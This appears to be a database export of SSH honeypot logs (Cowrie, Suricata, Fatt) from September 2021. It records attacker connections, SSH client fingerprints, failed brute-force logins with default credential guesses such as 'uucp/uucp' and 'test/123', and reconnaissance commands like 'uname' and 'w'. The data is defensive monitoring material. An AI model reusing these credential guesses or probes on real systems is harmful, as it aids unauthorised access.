28077	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:07.564138+03	2021-09-20 14:30:02.356524+03	{"_id": "XwbrAnwBvYTbRNuEnCxu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:07.564138Z", "@timestamp": "2021-09-20T11:16:07.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28078	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:06.995206+03	2021-09-20 14:30:02.357523+03	{"_id": "YAbrAnwBvYTbRNuEnCxu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40126 (192.168.176.2:22) [session: 029bbe8e25de]", "session": "029bbe8e25de", "@version": "1", "protocol": "ssh", "src_port": 40126, "dest_port": 22, "timestamp": "2021-09-20T11:16:06.995206Z", "@timestamp": "2021-09-20T11:16:06.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28079	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:07.165248+03	2021-09-20 14:30:02.359524+03	{"_id": "YgbrAnwBvYTbRNuEnCxu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.17.12", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5702176094055176, "duplicate": true, "timestamp": "2021-09-20T11:16:07.165248Z", "@timestamp": "2021-09-20T11:16:07.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28080	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:07.048936+03	2021-09-20 14:30:02.360524+03	{"_id": "ZgbrAnwBvYTbRNuEnCxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "029bbe8e25de", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:07.048936Z", "@timestamp": "2021-09-20T11:16:07.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28081	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:07.096799+03	2021-09-20 14:30:02.361523+03	{"_id": "ZwbrAnwBvYTbRNuEnCxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [uucp/uucp] failed", "session": "79c7de44a56d", "@version": "1", "password": "uucp", "username": "uucp", "timestamp": "2021-09-20T11:16:07.096799Z", "@timestamp": "2021-09-20T11:16:07.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28082	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:07.275861+03	2021-09-20 14:30:02.363523+03	{"_id": "aAbrAnwBvYTbRNuEnCxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "029bbe8e25de", "@version": "1", "timestamp": "2021-09-20T11:16:07.275861Z", "@timestamp": "2021-09-20T11:16:07.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28083	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:07.408687+03	2021-09-20 14:30:02.364526+03	{"_id": "aQbrAnwBvYTbRNuEnCxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/123] failed", "session": "ffcfecd89d42", "@version": "1", "password": "123", "username": "test", "timestamp": "2021-09-20T11:16:07.408687Z", "@timestamp": "2021-09-20T11:16:07.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28084	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:07.563589+03	2021-09-20 14:30:02.366524+03	{"_id": "agbrAnwBvYTbRNuEnCxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:07.563589Z", "@timestamp": "2021-09-20T11:16:07.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28085	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:16:08.09135+03	2021-09-20 14:30:02.367524+03	{"_id": "bAbrAnwBvYTbRNuEniw-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 403988607904297, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56938, "dest_port": 22, "timestamp": "2021-09-20T11:16:08.091350Z", "@timestamp": "2021-09-20T11:16:08.091Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28086	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:03.913849+03	2021-09-20 14:30:02.368523+03	{"_id": "JwbrAnwBvYTbRNuEkCyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fbae18101d37", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:03.913849Z", "@timestamp": "2021-09-20T11:16:03.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28087	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:04.66408+03	2021-09-20 14:30:02.369523+03	{"_id": "KAbrAnwBvYTbRNuEkCyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:04.664080Z", "@timestamp": "2021-09-20T11:16:04.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28088	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:04.664631+03	2021-09-20 14:30:02.371524+03	{"_id": "KQbrAnwBvYTbRNuEkCyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:04.664631Z", "@timestamp": "2021-09-20T11:16:04.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28089	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:16:04.710915+03	2021-09-20 14:30:02.372524+03	{"_id": "KwbrAnwBvYTbRNuEkiyE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 151513250160149, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41318, "dest_port": 22, "timestamp": "2021-09-20T11:16:04.710915Z", "@timestamp": "2021-09-20T11:16:04.710Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28101	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:03.681679+03	2021-09-20 14:30:02.387524+03	{"_id": "EQbrAnwBvYTbRNuEjCzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:03.681679Z", "@timestamp": "2021-09-20T11:16:03.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28090	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:04.710978+03	2021-09-20 14:30:02.374523+03	{"_id": "LAbrAnwBvYTbRNuEkyzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41318, "timestamp": "2021-09-20T11:16:04.710978", "@timestamp": "2021-09-20T11:16:04.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28091	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:05.635944+03	2021-09-20 14:30:02.375523+03	{"_id": "LwbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:05.635944Z", "@timestamp": "2021-09-20T11:16:05.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28092	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:16:04.881904+03	2021-09-20 14:30:02.376523+03	{"_id": "PgbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "79c7de44a56d", "@version": "1", "timestamp": "2021-09-20T11:16:04.881904Z", "@timestamp": "2021-09-20T11:16:04.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
